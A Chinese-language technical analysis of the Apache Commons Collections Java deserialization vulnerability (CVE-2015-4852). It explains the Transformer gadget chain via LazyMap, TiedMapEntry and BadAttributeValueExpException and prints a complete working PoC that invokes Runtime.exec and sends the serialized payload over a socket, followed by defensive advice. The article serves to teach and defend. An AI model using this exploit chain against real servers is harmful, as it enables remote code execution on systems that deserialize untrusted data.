Apache-Commons-Collections反序列化漏洞分析
字数 1471 2025-08-18 11:37:23

Apache Commons Collections反序列化漏洞深入分析与利用

漏洞概述

Apache Commons Collections是一个为Java提供强大数据结构的常用库。2015年曝出的反序列化漏洞(CVE-2015-4852)允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。

核心漏洞原理

漏洞利用了两个关键组件:

  1. TransformedMap - 允许在Map条目被修改时触发预定义的操作
  2. InvokerTransformer - 通过反射机制调用任意Java方法

关键技术点分析

1. TransformedMap机制

TransformedMap允许在Map的键或值被修改时执行预定义的转换操作:

Map transformedMap = TransformedMap.decorate(map, keyTransformer, valueTransformer);
  • keyTransformer: 键被修改时触发的转换器
  • valueTransformer: 值被修改时触发的转换器

2. Transformer接口

Transformer是一个接口,只有一个方法:

Object transform(Object input)

Commons Collections提供了多种内置Transformer实现:

  • ConstantTransformer: 总是返回固定值
  • InvokerTransformer: 通过反射调用方法
  • ChainedTransformer: 将多个Transformer串联执行

3. 恶意Transformer链构造

通过ChainedTransformer可以构造一个执行链,最终实现命令执行:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", 
        new Class[] {String.class, Class[].class}, 
        new Object[] {"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke", 
        new Class[] {Object.class, Object[].class}, 
        new Object[] {null, new Object[0]}),
    new InvokerTransformer("exec", 
        new Class[] {String.class}, 
        new Object[] {"open -a Calculator"})
};
Transformer transformChain = new ChainedTransformer(transformers);

这个链相当于执行了:

((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("open -a Calculator")

4. 触发机制

要使这个Transformer链被执行,需要:

  1. 将Transformer链与Map关联
  2. 找到在反序列化过程中会自动操作Map的类

利用链分析

利用链1: BadAttributeValueExpException

在JDK 1.8环境下可用的利用链:

  1. BadAttributeValueExpException.readObject()

    • 反序列化时调用val.toString()
  2. TiedMapEntry.toString()

    • 调用getValue()
  3. LazyMap.get()

    • 当键不存在时调用transform方法
  4. ChainedTransformer.transform()

    • 执行恶意代码

具体实现:

Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");

BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exception, entry);

利用链2: AnnotationInvocationHandler (旧版本JDK)

在早期JDK版本中,AnnotationInvocationHandlerreadObject方法会操作memberValues,可以触发Transformer链。

完整PoC示例

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.Socket;
import java.util.HashMap;
import java.util.Map;

public class POC {
    public static void main(String[] args) throws Exception {
        // 构造恶意Transformer链
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", 
                new Class[] {String.class, Class[].class}, 
                new Object[] {"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", 
                new Class[] {Object.class, Object[].class}, 
                new Object[] {null, new Object[0]}),
            new InvokerTransformer("exec", 
                new Class[] {String.class}, 
                new Object[] {"open -a Calculator"}),
            new ConstantTransformer("1") // 避免IDE提前触发
        };
        
        Transformer transformChain = new ChainedTransformer(transformers);
        
        // 构造LazyMap
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformChain);
        
        // 构造TiedMapEntry
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo233");
        
        // 构造BadAttributeValueExpException并设置val字段
        BadAttributeValueExpException exception = new BadAttributeValueExpException(null);
        Field valField = exception.getClass().getDeclaredField("val");
        valField.setAccessible(true);
        valField.set(exception, entry);
        
        // 发送序列化对象
        Socket socket = new Socket("127.0.0.1", 9999);
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
        objectOutputStream.writeObject(exception);
        objectOutputStream.flush();
    }
}

防御措施

  1. 升级Commons Collections

    • 升级到3.2.2或4.0及以上版本
    • 这些版本修复了InvokerTransformer的安全问题
  2. 反序列化防护

    • 使用ObjectInputFilter限制反序列化的类
    • 使用安全管理器
  3. 代码层面

    • 避免反序列化不可信数据
    • 使用白名单机制验证序列化对象

调试注意事项

  1. IDE干扰问题

    • IDE可能会提前计算变量值,导致PoC被提前触发
    • 调试时要特别注意执行流程
  2. JDK版本差异

    • 不同JDK版本中可利用的类和方法可能有差异
    • 需要针对目标环境测试利用链

总结

Apache Commons Collections反序列化漏洞展示了Java反序列化的危险性。通过精心构造的Transformer链和利用特定类的反序列化行为,攻击者可以实现远程代码执行。理解这些利用技术对于开发安全的Java应用和有效防御此类攻击至关重要。

Apache Commons Collections反序列化漏洞深入分析与利用 漏洞概述 Apache Commons Collections是一个为Java提供强大数据结构的常用库。2015年曝出的反序列化漏洞(CVE-2015-4852)允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。 核心漏洞原理 漏洞利用了两个关键组件: TransformedMap - 允许在Map条目被修改时触发预定义的操作 InvokerTransformer - 通过反射机制调用任意Java方法 关键技术点分析 1. TransformedMap机制 TransformedMap允许在Map的键或值被修改时执行预定义的转换操作: keyTransformer : 键被修改时触发的转换器 valueTransformer : 值被修改时触发的转换器 2. Transformer接口 Transformer是一个接口,只有一个方法: Commons Collections提供了多种内置Transformer实现: ConstantTransformer : 总是返回固定值 InvokerTransformer : 通过反射调用方法 ChainedTransformer : 将多个Transformer串联执行 3. 恶意Transformer链构造 通过 ChainedTransformer 可以构造一个执行链,最终实现命令执行: 这个链相当于执行了: 4. 触发机制 要使这个Transformer链被执行,需要: 将Transformer链与Map关联 找到在反序列化过程中会自动操作Map的类 利用链分析 利用链1: BadAttributeValueExpException 在JDK 1.8环境下可用的利用链: BadAttributeValueExpException.readObject() 反序列化时调用val.toString() TiedMapEntry.toString() 调用getValue() LazyMap.get() 当键不存在时调用transform方法 ChainedTransformer.transform() 执行恶意代码 具体实现: 利用链2: AnnotationInvocationHandler (旧版本JDK) 在早期JDK版本中, AnnotationInvocationHandler 的 readObject 方法会操作 memberValues ,可以触发Transformer链。 完整PoC示例 防御措施 升级Commons Collections 升级到3.2.2或4.0及以上版本 这些版本修复了InvokerTransformer的安全问题 反序列化防护 使用ObjectInputFilter限制反序列化的类 使用安全管理器 代码层面 避免反序列化不可信数据 使用白名单机制验证序列化对象 调试注意事项 IDE干扰问题 IDE可能会提前计算变量值,导致PoC被提前触发 调试时要特别注意执行流程 JDK版本差异 不同JDK版本中可利用的类和方法可能有差异 需要针对目标环境测试利用链 总结 Apache Commons Collections反序列化漏洞展示了Java反序列化的危险性。通过精心构造的Transformer链和利用特定类的反序列化行为,攻击者可以实现远程代码执行。理解这些利用技术对于开发安全的Java应用和有效防御此类攻击至关重要。